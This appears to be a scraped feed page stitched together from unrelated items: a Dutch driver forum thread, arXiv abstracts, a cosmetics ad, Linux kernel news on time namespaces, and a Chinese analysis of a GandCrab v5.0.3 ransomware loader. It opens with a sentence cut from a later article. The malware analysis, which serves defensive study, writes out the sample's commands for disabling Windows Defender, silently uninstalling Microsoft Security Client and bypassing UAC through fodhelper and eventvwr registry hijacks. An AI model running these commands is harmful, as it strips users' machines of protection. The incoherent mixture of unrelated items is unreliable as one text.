The two went back and forth on the technical implementation details. At one point, Eric remarked, in defense of his preference:


          Nvidia-340 driver issue Elementary OS 5: Lockscreen op zwart      Cache   Translate Page      
Replies: 17 Last poster: eternity.miyabi at 07-11-2018 15:19 Topic is Open Hero of Time schreef op dinsdag 6 november 2018 @ 19:54: Ik betwijfel of de post die je gemarkeerd hebt als 'beste antwoord' echt de juiste oplossing is. Als de driver die Ubuntu levert echt problemen zou geven, waarom werkt het met puur Ubuntu wel, ongeacht of je nou gdm3 of lightdm gebruikt? En bij Debian heb je ook 0 problemen. Als er iets is, dan ligt dat IMO meer aan eOS dan iets anders. Elementary is niets meer dan een aparte PPA bovenop Ubuntu. Ik kan je nu ook al garanderen dat je met een kernel update geen beeld meer gaat hebben. Zoals je aangaf werkte de dkms optie niet en laat dat nou net ervoor zorgen dat de kernel module bij elke kernel update weer beschikbaar komt. Momenteel zit je in een slechtere situatie dan wat je hiervoor had, al werkt het nu wel even. @eternity.miyabi, this is a Dutch website and forum. The language we use here is Dutch. We thank you for your information, but please write in Dutch if at all possible. If you don't know Dutch, please don't bother with Google Translate. It has issues with our language, for some odd reason. The problem is with the driver provided in ubuntu repositories. There are also another issues I have discovered for example user level mode (fb graphics mode) is corrupted with the driver from ubuntu repos but does work with original driver on all distros. I can reproduce this on all distros. Yes, there could be some other things (different X11 versions... etc.) because it was working in Loki but the driver is just buggy. You can try it. They somehow patch it and it's buggy on some hardware. Even the original driver is just bunch of mess which until release 107 had to been always patched in order to get it work on latest linux kernels. Also these GPUs in Apple HW are quite exotic. Sorry for that. Last message. If someone could translate my messages and can send me the translation I can provide it. Thank you.
          A General Theory of Equivariant CNNs on Homogeneous Spaces. (arXiv:1811.02017v1 [cs.LG])      Cache   Translate Page      

Authors: Taco Cohen, Mario Geiger, Maurice Weiler

Group equivariant convolutional neural networks (G-CNNs) have recently emerged as a very effective model class for learning from signals in the context of known symmetries. A wide variety of equivariant layers has been proposed for signals on 2D and 3D Euclidean space, graphs, and the sphere, and it has become difficult to see how all of these methods are related, and how they may be generalized.

In this paper, we present a fairly general theory of equivariant convolutional networks. Convolutional feature spaces are described as fields over a homogeneous base space, such as the plane $\mathbb{R}^2$, sphere $S^2$ or a graph $\mathcal{G}$. The theory enables a systematic classification of all existing G-CNNs in terms of their group of symmetry, base space, and field type (e.g. scalar, vector, or tensor field, etc.).

In addition to this classification, we use Mackey theory to show that convolutions with equivariant kernels are the most general class of equivariant maps between such fields, thus establishing G-CNNs as a universal class of equivariant networks. The theory also explains how the space of equivariant kernels can be parameterized for learning, thereby simplifying the development of G-CNNs for new spaces and symmetries. Finally, the theory introduces a rich geometric semantics to learned feature spaces, thus improving interpretability of deep networks, and establishing a connection to central ideas in mathematics and physics.


          Generalization Bounds for Neural Networks: Kernels, Symmetry, and Sample Compression. (arXiv:1811.02067v1 [cs.LG])      Cache   Translate Page      

Authors: Christopher Snyder, Sriram Vishwanath

Though Deep Neural Networks (DNNs) are widely celebrated for their practical performance, they demonstrate many intriguing phenomena related to depth that are difficult to explain both theoretically and intuitively. Understanding how weights in deep networks coordinate together across layers to form useful learners has proven somewhat intractable, in part because of the repeated composition of nonlinearities induced by depth. We present a reparameterization of DNNs as a linear function of a particular feature map that is locally independent of the weights. This feature map transforms depth-dependencies into simple {\em tensor} products and maps each input to a discrete subset of the feature space. Then, in analogy with logistic regression, we propose a max-margin assumption that enables us to present a so-called {\em sample compression} representation of the neural network in terms of the discrete activation state of neurons induced by s "support vectors". We show how the number of support vectors relate to learning guarantees for neural networks through sample compression bounds, yielding a sample complexity O(ns/\epsilon) for networks with n neurons. Additionally, this number of support vectors has monotonic dependence on width, depth, and label noise for simple networks trained on the MNIST dataset.


          Kernel Machines Beat Deep Neural Networks on Mask-based Single-channel Speech Enhancement. (arXiv:1811.02095v1 [cs.LG])      Cache   Translate Page      

Authors: Like Hui, Siyuan Ma, Mikhail Belkin

We apply a fast kernel method for mask-based single-channel speech enhancement. Specifically, our method solves a kernel regression problem associated to a non-smooth kernel function (exponential power kernel) with a highly efficient iterative method (EigenPro). Due to the simplicity of this method, its hyper-parameters such as kernel bandwidth can be automatically and efficiently selected using line search with subsamples of training data. We observe an empirical correlation between the regression loss (mean square error) and regular metrics for speech enhancement. This observation justifies our training target and motivates us to achieve lower regression loss by training separate kernel model per frequency subband. We compare our method with the state-of-the-art deep neural networks on mask-based HINT and TIMIT. Experimental results show that our kernel method consistently outperforms deep neural networks while requiring less training time.


          Kernel Exponential Family Estimation via Doubly Dual Embedding. (arXiv:1811.02228v1 [cs.LG])      Cache   Translate Page      

Authors: Bo Dai, Hanjun Dai, Arthur Gretton, Le Song, Dale Schuurmans, Niao He

We investigate penalized maximum log-likelihood estimation for exponential family distributions whose natural parameter resides in a reproducing kernel Hilbert space. Key to our approach is a novel technique, doubly dual embedding, that avoids computation of the partition function. This technique also allows the development of a flexible sampling strategy that amortizes the cost of Monte-Carlo sampling in the inference stage. The resulting estimator can be easily generalized to kernel conditional exponential families. We furthermore establish a connection between infinite-dimensional exponential family estimation and MMD-GANs, revealing a new perspective for understanding GANs. Compared to current score matching based estimators, the proposed method improves both memory and time efficiency while enjoying stronger statistical properties, such as fully capturing smoothness in its statistical convergence rate while the score matching estimator appears to saturate. Finally, we show that the proposed estimator can empirically outperform state-of-the-art methods in both kernel exponential family estimation and its conditional extension.


          Honest Beauty Organic Facial Oil      Cache   Translate Page      
USDA-certified organic facial oil. Replenishes moisture-depleted skin for a supple and feel. Enriched with pure seed and fruit oils like nourishing avocado and apricot kernel. Leaves skin smoother and more radiant. Naturally scented with a botanical blend of rose, ylang and clove oils. MADE WITHOUT: parabens, silicones, petrolatum, synthetic fragrances or dyes. Try Amazon Prime 30-Day Free Trial Save 5-15% with Subscribe & Save (you can cancel anytime). This deal is expected to expire at 11:59pm on Saturday November 10th, 2018.
          Fast Adaptive Bilateral Filtering. (arXiv:1811.02308v1 [cs.CV])      Cache   Translate Page      

Authors: Ruturaj G. Gavaskar, Kunal N. Chaudhury

In the classical bilateral filter, a fixed Gaussian range kernel is used along with a spatial kernel for edge-preserving smoothing. We consider a generalization of this filter, the so-called adaptive bilateral filter, where the center and width of the Gaussian range kernel is allowed to change from pixel to pixel. Though this variant was originally proposed for sharpening and noise removal, it can also be used for other applications such as artifact removal and texture filtering. Similar to the bilateral filter, the brute-force implementation of its adaptive counterpart requires intense computations. While several fast algorithms have been proposed in the literature for bilateral filtering, most of them work only with a fixed range kernel. In this paper, we propose a fast algorithm for adaptive bilateral filtering, whose complexity does not scale with the spatial filter width. This is based on the observation that the concerned filtering can be performed purely in range space using an appropriately defined local histogram. We show that by replacing the histogram with a polynomial and the finite range-space sum with an integral, we can approximate the filter using analytic functions. In particular, an efficient algorithm is derived using the following innovations: the polynomial is fitted by matching its moments to those of the target histogram (this is done using fast convolutions), and the analytic functions are recursively computed using integration-by-parts. Our algorithm can accelerate the brute-force implementation by at least $20 \times$, without perceptible distortions in the visual quality. We demonstrate the effectiveness of our algorithm for sharpening, JPEG deblocking, and texture filtering.


          Kernel Regression for Graph Signal Prediction in Presence of Sparse Noise. (arXiv:1811.02314v1 [stat.ML])      Cache   Translate Page      

Authors: Arun Venkitaraman, Pascal Frossard, Saikat Chatterjee

In presence of sparse noise we propose kernel regression for predicting output vectors which are smooth over a given graph. Sparse noise models the training outputs being corrupted either with missing samples or large perturbations. The presence of sparse noise is handled using appropriate use of $\ell_1$-norm along-with use of $\ell_2$-norm in a convex cost function. For optimization of the cost function, we propose an iteratively reweighted least-squares (IRLS) approach that is suitable for kernel substitution or kernel trick due to availability of a closed form solution. Simulations using real-world temperature data show efficacy of our proposed method, mainly for limited-size training datasets.


          Fast High-Dimensional Bilateral and Nonlocal Means Filtering. (arXiv:1811.02363v1 [cs.CV])      Cache   Translate Page      

Authors: Pravin Nair, Kunal. N. Chaudhury

Existing fast algorithms for bilateral and nonlocal means filtering mostly work with grayscale images. They cannot easily be extended to high-dimensional data such as color and hyperspectral images, patch-based data, flow-fields, etc. In this paper, we propose a fast algorithm for high-dimensional bilateral and nonlocal means filtering. Unlike existing approaches, where the focus is on approximating the data (using quantization) or the filter kernel (via analytic expansions), we locally approximate the kernel using weighted and shifted copies of a Gaussian, where the weights and shifts are inferred from the data. The algorithm emerging from the proposed approximation essentially involves clustering and fast convolutions, and is easy to implement. Moreover, a variant of our algorithm comes with a guarantee (bound) on the approximation error, which is not enjoyed by existing algorithms. We present some results for high-dimensional bilateral and nonlocal means filtering to demonstrate the speed and accuracy of our proposal. Moreover, we also show that our algorithm can outperform state-of-the-art fast approximations in terms of accuracy and timing.


          Local-Encoding-Preserving Secure Network Coding---Part I: Fixed Security Level. (arXiv:1811.02388v1 [cs.IT])      Cache   Translate Page      

Authors: Xuan Guang, Raymond W. Yeung, Fang-Wei Fu

Information-theoretic security is considered in the paradigm of network coding in the presence of wiretappers, who can access one arbitrary edge subset up to a certain size, also referred to as the security level. Secure network coding is applied to prevent the leakage of the source information to the wiretappers. In this two-part paper, we consider the problem of secure network coding when the information rate and the security level can change over time. In the current paper (i.e., Part I of the two-part paper), we focus on the problem for a fixed security level and a flexible rate. To efficiently solve this problem, we put forward local-encoding-preserving secure network coding, where a family of secure linear network codes (SLNCs) is called local-encoding-preserving if all the SLNCs in this family share a common local encoding kernel at each intermediate node in the network. We present an efficient approach for constructing upon an SLNC that exists a local-encoding-preserving SLNC with the same security level and the rate reduced by one. By applying this approach repeatedly, we can obtain a family of local-encoding-preserving SLNCs with a fixed security level and multiple rates. We also develop a polynomial-time algorithm for efficient implementation of this approach. Furthermore, it is proved that the proposed approach incurs no penalty on the required field size for the existence of SLNCs in terms of the best known lower bound by Guang and Yeung. The result in this paper will be used as a building block for efficiently constructing a family of local-encoding-preserving SLNCs for all possible pairs of rate and security level, which will be discussed in the companion paper (i.e., Part II of the two-part paper).


          Local-Encoding-Preserving Secure Network Coding---Part II: Flexible Rate and Security Level. (arXiv:1811.02390v1 [cs.IT])      Cache   Translate Page      

Authors: Xuan Guang, Raymond W. Yeung, Fang-Wei Fu

In the two-part paper, we consider the problem of secure network coding when the information rate and the security level can change over time. To efficiently solve this problem, we put forward local-encoding-preserving secure network coding, where a family of secure linear network codes (SLNCs) is called local-encoding-preserving (LEP) if all the SLNCs in this family share a common local encoding kernel at each intermediate node in the network. In this paper (Part II), we first consider the design of a family of LEP SLNCs for a fixed rate and a flexible security level. We present a novel and efficient approach for constructing upon an SLNC that exists an LEP SLNC with the same rate and the security level increased by one. Next, we consider the design of a family of LEP SLNCs for a fixed dimension (equal to the sum of rate and security level) and a flexible pair of rate and security level. We propose another novel approach for designing an SLNC such that the same SLNC can be applied for all the rate and security-level pairs with the fixed dimension. Also, two polynomial-time algorithms are developed for efficient implementations of our two approaches, respectively. Furthermore, we prove that both approaches do not incur any penalty on the required field size for the existence of SLNCs in terms of the best known lower bound by Guang and Yeung. Finally, we consider the ultimate problem of designing a family of LEP SLNCs that can be applied to all possible pairs of rate and security level. By combining the construction of a family of LEP SLNCs for a fixed security level and a flexible rate (obtained in Part I) with the constructions of the two families of LEP SLNCs in the current paper in suitable ways, we can obtain a family of LEP SLNCs that can be applied for all possible pairs of rate and security level. Three possible such constructions are presented.


          Synaptic Strength For Convolutional Neural Network. (arXiv:1811.02454v1 [cs.LG])      Cache   Translate Page      

Authors: Chen Lin, Zhao Zhong, Wei Wu, Junjie Yan

Convolutional Neural Networks(CNNs) are both computation and memory intensive which hindered their deployment in mobile devices. Inspired by the relevant concept in neural science literature, we propose Synaptic Pruning: a data-driven method to prune connections between input and output feature maps with a newly proposed class of parameters called Synaptic Strength. Synaptic Strength is designed to capture the importance of a connection based on the amount of information it transports. Experiment results show the effectiveness of our approach. On CIFAR-10, we prune connections for various CNN models with up to 96% , which results in significant size reduction and computation saving. Further evaluation on ImageNet demonstrates that synaptic pruning is able to discover efficient models which is competitive to state-of-the-art compact CNNs such as MobileNet-V2 and NasNet-Mobile. Our contribution is summarized as following: (1) We introduce Synaptic Strength, a new class of parameters for CNNs to indicate the importance of each connections. (2) Our approach can prune various CNNs with high compression without compromising accuracy. (3) Further investigation shows, the proposed Synaptic Strength is a better indicator for kernel pruning compared with the previous approach in both empirical result and theoretical analysis.


          Unifying Probabilistic Models for Time-Frequency Analysis. (arXiv:1811.02489v1 [eess.SP])      Cache   Translate Page      

Authors: William J. Wilkinson, Michael Riis Andersen, Joshua D. Reiss, Dan Stowell, Arno Solin

In audio signal processing, probabilistic time-frequency models have many benefits over their non-probabilistic counterparts. They adapt to the incoming signal, quantify uncertainty, and measure correlation between the signal's amplitude and phase information, making time domain resynthesis straightforward. However, these models are still not widely used since they come at a high computational cost, and because they are formulated in such a way that it can be difficult to interpret all the modelling assumptions. By showing their equivalence to Spectral Mixture Gaussian processes, we illuminate the underlying model assumptions and provide a general framework for constructing more complex models that better approximate real-world signals. Our interpretation makes it intuitive to inspect, compare, and alter the models since all prior knowledge is encoded in the Gaussian process kernel functions. We utilise a state space representation to perform efficient inference via Kalman smoothing, and we demonstrate how our interpretation allows for efficient parameter learning in the frequency domain.


          A Continuous Model of Cortical Connectivity. (arXiv:1610.03809v2 [q-bio.NC] UPDATED)      Cache   Translate Page      

Authors: Daniel Moyer, Boris A. Gutman, Joshua Faskowitz, Neda Jahanshad, Paul M. Thompson

We present a continuous model for structural brain connectivity based on the Poisson point process. The model treats each streamline curve in a tractography as an observed event in connectome space, here a product space of cortical white matter boundaries. We approximate the model parameter via kernel density estimation. To deal with the heavy computational burden, we develop a fast parameter estimation method by pre-computing associated Legendre products of the data, leveraging properties of the spherical heat kernel. We show how our approach can be used to assess the quality of cortical parcellations with respect to connectivty. We further present empirical results that suggest the discrete connectomes derived from our model have substantially higher test-retest reliability compared to standard methods.


          How to Configure Anti-Malware Boot-Start Driver Policy in Windows 10      Cache   Translate Page      
To protect your system from boot time malware, starting from Windows 8, Microsoft has included a new feature called Secure Boot. This will launch the ELAM (Early Launch Anti-Malware) driver before any other driver at boot time. The function of ELAM is simple: it will evaluate every driver that is queued to launch at boot time and classify them into Good and Bad, the latter required for boot and Unknown categories. Windows Kernel then uses this classification to decide whether to initialize a driver or not. If ELAM is blocking a known driver or if you want to manually configure what driver type should be... Read more

          Extreme values of a reproducing kernel for polynomials      Cache   Translate Page      
For every nonnegative integer there exists a (unique) polynomial of degree in and separately with the following reproducing property: for every polynomial of degree at most , and for every . For example, ; other examples are found in the post Polynomial delta function. This fact gives an explicit pointwise bound on a polynomial in … Continue reading "Extreme values of a reproducing kernel for polynomials"
          Graph Bayesian Optimization: Algorithms, Evaluations and Applications. (arXiv:1805.01157v4 [stat.ML] UPDATED)      Cache   Translate Page      

Authors: Jiaxu Cui, Bo Yang

Network structure optimization is a fundamental task in complex network analysis. However, almost all the research on Bayesian optimization is aimed at optimizing the objective functions with vectorial inputs. In this work, we first present a flexible framework, denoted graph Bayesian optimization, to handle arbitrary graphs in the Bayesian optimization community. By combining the proposed framework with graph kernels, it can take full advantage of implicit graph structural features to supplement explicit features guessed according to the experience, such as tags of nodes and any attributes of graphs. The proposed framework can identify which features are more important during the optimization process. We apply the framework to solve four problems including two evaluations and two applications to demonstrate its efficacy and potential applications.


          Virtualizing the Clock      Cache   Translate Page      

Dmitry Safonov wanted to implement a namespace for time information. The twisted and bizarre thing about virtual machines is that they get more virtual all the time. There's always some new element of the host system that can be given its own namespace and enter the realm of the virtual machine. But as that process rolls forward, virtual systems have to share aspects of themselves with other virtual systems and the host system itself—for example, the date and time.

Dmitry's idea is that users should be able to set the day and time on their virtual systems, without worrying about other systems being given the same day and time. This is actually useful, beyond the desire to live in the past or future. Being able to set the time in a container is apparently one of the crucial elements of being able to migrate containers from one physical host to another, as Dmitry pointed out in his post.

As he put it:

The kernel provides access to several clocks: CLOCK_REALTIME, CLOCK_MONOTONIC, CLOCK_BOOTTIME. Last two clocks are monotonous, but the start points for them are not defined and are different for each running system. When a container is migrated from one node to another, all clocks have to be restored into consistent states; in other words, they have to continue running from the same points where they have been dumped.

Dmitry's patch wasn't feature-complete. There were various questions still to consider. For example, how should a virtual machine interpret the time changing on the host hardware? Should the virtual time change by the same offset? Or continue unchanged? Should file creation and modification times reflect the virtual machine's time or the host machine's time?

Eric W. Biederman supported this project overall and liked the code in the patch, but he did feel that the patch could do more. He thought it was a little too lightweight. He wanted users to be able to set up new time namespaces at the drop of a hat, so they could test things like leap seconds before they actually occurred and see how their own projects' code worked under those various conditions.

To do that, he felt there should be a whole "struct timekeeper" data structure for each namespace. Then pointers to those structures could be passed around, and the times of virtual machines would be just as manipulable and useful as times on the host system.

In terms of timestamps for filesystems, however, Eric felt that it might be best to limit the feature set a little bit. If users could create files with timestamps in the past, it could introduce some nasty security problems. He felt it would be sufficient simply to "do what distributed filesystems do when dealing with hosts with different clocks".

The two went back and forth on the technical implementation details. At one point, Eric remarked, in defense of his preference:


          Kernel 4.20-rc1 Is Out, KDE Connect Android App 1.10 Released, Linux Mint 19.1 Coming Soon, Microsoft Ported ProcDump to Linux and Neptune Version 5.6 Now Available      Cache   Translate Page      

News briefs for November 5, 2018.

Linux kernel 4.20-rc1 is out. Linus writes, "This was a fairly big merge window, but it didn't break any records, just solid. And things look pretty regular, with about 70% of the patch is driver updates (gpu drivers are looming large as usual, but there's changes all over). The rest is arch updates (x86, arm64, arm, powerpc and the new C-SKY architecture), header files, networking, core mm and kernel, and tooling." See the LKML post for more information.

The KDE Connect Android app version 1.10 was released yesterday. Main changes include "mouse input now works with the same speed independent from the phones pixel density"; "the media controller now allows stopping playback"; the "run command supports triggering commands using kdeconnect:// URLs" and more. There are several desktop improvements as well, and the Linux Mobile App has also gained many new features.

The Linux Mint blog recently posted its upcoming release schedule. They are working on getting Linux Mint 19.1 out in time for Christmas, "with all three editions released at the same time and the upgrade paths open before the holiday season". In addition, Linux Mint is now on Patreon. See the post for all the changes and improvements in the works.

Microsoft ported the ProcDump applications to Linux and is planning to port ProcMon to Linux as well. According to ZDNet, "these ports are part of the company's larger plan to make the Sysinternals package available for Linux users in the coming future".

Neptune version 5.6 was released yesterday. This update of the desktop distro based fully on Debian 9.0 ("Stretch") provides kernel 4.18.6 with improved drivers and bugfixes. Other updates include systemd to version 239, KDE Applications to version 18.08.2, Network-Manager updated to 1.14, Plasma desktop has been updated to 5.12.7 and much more. See the full changelog here.


          Kernel Dance Theatre obre el cicle Dansa Ara a La Pedrera      Cache   Translate Page      
Cada sessió del programa és una invitació única a una estrena o proposta especial per a gaudir de la dansa. Continua llegint
          #101 Superordenador 'Human brain' con 1 millón de procesadores, ha sido encendido por primera vez -ENG-      Cache   Translate Page      

#44 Fliparias si supieras cuántos dispositivos/servidores con Kernel Linux atraviesan tus sandeces antes de ser posteadas.

» autor: ElCerditoBacon


          GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析      Cache   Translate Page      

GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析
概述

Gandcrab家族算是勒索病毒中最“出名”的了,它仅仅在半年的时间了就发布了从v1.0到v5.0.3,截止到我分析前,已经出现了v5.0.5版本了,我这个分析的是v5.0.3的JS脚本产生的勒索病毒。勒索病毒的最终执行的Payload部分我就不分析了,因为和之前的版本上没有太大的改变,但是这个Loader很有意思,用到了在2017年BlackHat大会上提到的ProcessDopplegnging技术,有兴趣的可以看看。

该JS脚本的功能:

(1)对抗Avast杀软

(2)对抗windows Defender

(3)对抗MSC微软安全客户端

(4)对抗Ahnlab安博士杀软

(5)生成GandCrabV5.0.3勒索病毒变种样本并执行

详细分析

下图是经JS格式转换后的混淆脚本,需要通过Chrome浏览器动态调试得到源码,在hrodjgengsl函数处下断,查看参数信息即是解混淆后的JS源码了


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

经JS格式化后的JS源码部分(两张图)


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析
GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析
1、检查avast杀毒服务是否运行,如处于运行状态,生成kyoxks.js脚本并运行,脚本内容如下:
GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

脚本功能:

1、首先在注册表HKEY_CURRENT_USERSOFTWAREycsdrrpvrylqzhlnv下写一段base64加密的powershell脚本

2、通过创建计划任务以固定间隔时间调PowerShell运行它。

解密之后的powershell代码如下,这其中有一段C#代码:


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

C#代码―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析
GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

第一段Powershell脚本主要功能:

1、首先拷贝对应的文件到临时目录

2、找到对应路径下Avast更新程序并且动

3、清除对应路径下缓存数据

第二段C#代码主要功能:

C#代码中定义了类:a12,其中在a12这个类中定义了a10、a11、a13、a14四个方法

第三段Powershell脚本主要功能:

执行调用C#代码中方法

a10方法主要是找到Avast进程得到有效句柄后从死循环中break退出。

a11和a13方法主要是向Avast程序发送消息,按下Tab键、空格键,释放Tab键、空格键。

a14方法主要是将Avast窗口程序隐藏

2、检查WdNisSvc、WinDefend服务是否运行,如处于运行状态,生成nykvwcajm.js脚本并运行,脚本内容如下:


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

主要功能:

1、利用打开fodhelper.exe进程使cmd.exe Bypass UAC的目的,进而关闭Windows Defender杀毒功能及强制结束Windows Defender服务程序MSASCui.exe。

判断是否是Win 10系统,如是通过将cmd.exe /C “powershell Set-MpPreference -DisableRealtimeMonitoring $true && taskkill /im MSASCui* /f /t命令写入到HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\注册表中,并以隐藏窗口的形式打开fodhelper.exe,这时就会执行上述注册表中写入的命令。同时最小化桌面上的所有窗口。再删除相应的注册表HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\。

2、利用打开eventvwr.exe进程使cmd.exe Bypass UAC的目的,进而关闭Windows Defender杀毒功能及强制结束Windows Defender服务程序MSASCui.exe。

判断是否是Win 7系统,如是通过将cmd.exe /C “sc stop WinDefend && taskkill /im MSASCui* /f /t命令写入到HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\注册表中,并以隐藏窗口的形式打开eventvwr.exe。这时就会执行上述注册表中写入的命令。执行完后再删除注册表HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\。

3、如果WdNisSvc或WinDefend服务存在,则持续检测20s。

3、检查NisSrv服务是否运行,如处于运行状态,生成bervcptyvulur.js脚本并运行,脚本内容如下:
GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

NIsSrv指的是微软网络实时检测服务,是微软在系统开机时启动的一个用来检测网络的反病毒服务。卸载Microsoft Security Client程序命令:MsiExec.exe /X{2AA3C13E-0531-41B8-AE48-AE28C940A809}

1、利用打开fodhelper.exe进程使MsiExec.exe Bypass UAC的目的,进而以最小化的方式静默卸载Microsoft Security Client程序。

判断是否是Win 10系统,如是通过将MsiExec.exe /X {2AA3C13E-0531-41B8-AE48-AE28C940A809} ACCEPT=YES /qr+ /quiet命令写入到HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\注册表中。并以隐藏窗口的形式传入C:Windowsfodhelper.exe参数打开explorer.exe。这时就会执行上述注册表中写入的命令。再删除注册表项HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\。

2、利用打开eventvwr.exe进程使MsiExec.exe Bypass UAC的目的,进而以最小化的方式静默卸载Microsoft Security Client程序。

判断是否是Win 7系统,如是通过将MsiExec.exe /X {2AA3C13E-0531-41B8-AE48-AE28C940A809} ACCEPT=YES /qr+ /quiet命令写入到HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\注册表中,并以隐藏窗口的形式传入C:Windowseventvwr.exe打开explorer.exe。这时就会执行上述注册表中写入的命令。再删除相应的注册表项HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\。

3、如果NisSrv服务存在,则持续检测90s。

4、检查V3 Service服务是否运行,如处于运行状态,再检查tgydmilslvp.txt文件是否存在%USERPROFILE%目录下,如存在就生成recjyzcz.js脚本并运行,不存在该txt文件就生成内容是777的tgydmilslvp.txt,脚本内容如下:


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

主要功能:

1、利用打开fodhelper.exe进程使Powershell.exe Bypass UAC的目的,进而执行写在注册表中的Powershell脚本。

判断是否是Win 10系统,如是通过将djziapwzi变量所赋的值(Powershell脚本)写入到HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\注册表中,并以隐藏窗口的形式传入C:Windowsfodhelper.exe参数打开explorer.exe。这时就会执行上述注册表中写入的命令。再删除相应的注册表项HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\。

2、利用打开eventvwr.exe进程使Powershell.exe Bypass UAC的目的,进而关闭Windows Defender杀毒功能及强制结束Windows Defender服务程序MSASCui.exe。

判断是否是Win 7系统,如是通过将djziapwzi变量所赋的值(Powershell脚本)写入到HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\注册表中,并以隐藏窗口的形式传入C:Windowseventvwr.exe打开explorer.exe。这时就会执行上述注册表中写入的命令。再删除相应的注册表项HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\。

3、如果WdNisSvc或WinDefend服务存在,则持续检测60s。

解密后Powershell脚本:


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

主要功能:

查找Ahnlab安博士杀软的卸载程序,拷贝到指定位置后并执行。

5、解密Payload并写入到dsoyaltj.exe文件中后执行。
GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

以上是比较详细的脚本分析内容。

6、ProcessDoppelgnging技术与Process Hollowing技术交叉使用的恶意Loader

Loader流程图如下:


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

首先简单说一下ProcessDoppelgnging攻击技术,这个技术是2017年欧洲BlackHat大会上由网络安全公司enSilo两名研究人员提出的新型在野攻击,其中还用到了NTFS文件系统事务回滚机制,相关的BlackHatPDF文档在最后会添加到附件。

ProcessDoppelgnging攻击技术:

1、创建一个新事务并这个事务中直接创建一个新文件

2、将新创建的文件映射到进程新创建的section中

3、利用NTFS文件系统事务回滚机制,回滚到之前的无创建文件状态

4、再跳转执行内存中的section部分的payload

上述介绍的是常规ProcessDoppelgnging攻击技术,本Loader结合使用了Process Hollowing技术,配合使用后较为复杂。以下是详细分析:


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

以上程序经动态调试之后首先发现该程序通过申请空间并解密出PE文件,然后随机创建挂起原始文件状态的合法进程(本文是wermgr.exe,还有可能是svchost.exe),这种操作让我们想起了Process Hollowing技术常用的创建傀儡进程的手法。我们了解下两种技术不同点,就能知道该样本作者如何将两种技术交叉使用的。

与Process Hollowing技术不同点:

1、在ProcessDopplegnging技术中,创建进程的操作需要很长时间,并使用官方未公开的API:NtCreateProcessEx。

2、在ProcessDoppelgnging技术中,新进程不是从原始文件创建的,而是从特殊缓冲区(section)创建的。

如下图所示:


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析
GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

因为NTDLL是一个特殊的低级DLL。基本上,它只是系统调用的一个包装器。它与系统中的其他DLL没有任何依赖关系。由于这个原因,它可以方便地加载,而无需填充其导入表。其他系统DLL(如Kernel32)在很大程度上依赖于从NTDLL导出的函数。所以许多用户层监视工具Hook并拦截NTDLL导出的函数。恶意程序作者知道这一点,所以有时为了躲过这种机制,他们会选择加载一个新的NTDLL副本。查看内存映射表,我们看到附加的ntdll_1作为映像加载,和其他DLL一样,这种类型的映射是使用NTDLL的。但是NTDLL默认加载到每个可执行文件中,并且官方的API无法加载相同的DLL两次。在这里它们使用一种比较好的解决方式:调用以下函数将文件以一个section的方式加载

1、ntdll.NtCreateFile 打开ntdll.dll文件

2、ntdll.NtCreateSection 在ntdll文件中创建一个section

3、ntdll.ZwMapViewOfSection 将section映射到进程地址空间,ntdll模块文件就能映射进内存了。


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析

这种方式非常聪明,因为DLL映射类型为Image,所以它看起来像是以普通的方式加载,这样的操作可以绕过各种安全产品的检测与拦截。又以同样的方式映射了wermgr.exe文件。


GandCrab_v5.0.3勒索病毒―JS代码分析与Loader分析
7、使用NTFS事务创建新文件

简要介绍一下NTFS事务是什么,这种机制通常在数据库上运行时使用,它们存在于NTFS文件系统中。NTFS事务将一系列操作封装到一个单元中。在事务内部创建文件时,在提交事务之前,外部任何人都无法访问它。ProcessDoppelgnging使用它们来创建不可见的Payload文件,加载程序创建一个新事务,在该事务中创建一个新文件。首先,调用NTDLL中的函数ZwCreateTransaction。再调用RtlSetCurrentTransaction和ZwCreateFile(所创建的文件是%TEMP%\ Liebert.bmp)。然后调用ZwWriteFile将缓冲区内容写入文件。我们可以看到正在写入的缓冲区中包含新的PE文件:第二阶段Payload。通常,对于此技术,文件仅在事务中可见,并且不能由其他进程(如AV扫描程序)打开。


          TuxMachines: Kernel: Virtualizing the Clock and Linux 4.21/5.0 Merges      Cache   Translate Page      
  • Virtualizing the Clock

    Dmitry Safonov wanted to implement a namespace for time information. The twisted and bizarre thing about virtual machines is that they get more virtual all the time. There's always some new element of the host system that can be given its own namespace and enter the realm of the virtual machine. But as that process rolls forward, virtual systems have to share aspects of themselves with other virtual systems and the host system itself—for example, the date and time.

